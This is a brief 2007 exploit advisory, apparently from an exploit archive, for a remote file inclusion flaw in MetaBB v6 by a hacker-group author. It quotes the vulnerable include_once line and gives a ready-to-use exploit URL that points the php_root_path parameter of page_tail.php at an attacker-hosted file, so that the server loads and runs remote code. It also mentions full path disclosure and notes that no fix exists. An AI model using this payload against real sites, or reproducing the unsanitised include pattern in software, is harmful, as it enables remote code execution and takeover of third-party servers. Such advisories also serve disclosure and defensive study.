Home / os / winme

metabb-rfi.txt

Posted on 23 April 2007

********************************************
*AuThor:Silitoad ***************************
*emA!l:Silitoad[at]hotmail[dot]Com *********
*HoMePaGe: http://www.Arabian-FighterZ.com<http://www.arabian-fighterz.com/>*
********************************************




[Info]
cms: metabb
Version: 6
Download:http://www.hotscripts.com/jump.php?listing_id=61127&jump_type=1
Problem: Include file

bug: include_once($php_root_path .
'rabbitoshi/includes/functions_rabbitoshi_cron.

[Vuls]

1.Full path disclosure:


[Exploit]

http://target.com/MetaBBv6/includes/page_tail.php?php_root_path=http://evilcode.txt
?

[Fix]

Vuls has been reported to author,No reply yet.

[Greetings]

Greets To l1nuxm4,Sn1p8r,Sbitar,Op3runix,simple_clan,l33t_b3k3rz,the leo
from Midt

 

TOP